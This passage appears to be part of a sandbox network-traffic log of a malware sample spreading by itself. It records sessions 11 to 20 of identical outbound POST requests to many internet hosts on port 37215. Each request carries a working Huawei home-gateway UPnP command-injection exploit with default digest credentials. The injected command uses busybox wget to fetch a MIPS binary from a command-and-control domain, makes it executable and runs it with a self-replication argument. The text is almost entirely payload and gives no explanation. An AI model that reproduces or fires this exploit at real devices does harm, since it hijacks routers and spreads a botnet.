73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.14	57258	156.98.94.204	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.221916914 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.14	60994	41.135.218.72	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.223635912 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.14	49326	41.82.16.126	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.225320101 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.14	49956	197.146.167.175	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.227072001 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.14	38738	197.122.174.144	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.229074955 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.14	60076	156.204.201.19	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.230992079 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.14	53956	197.185.236.65	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.232793093 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.14	52932	197.164.122.124	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.234661102 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.14	38176	41.183.11.39	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.236530066 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.14	35572	156.7.119.130	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.238353014 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo 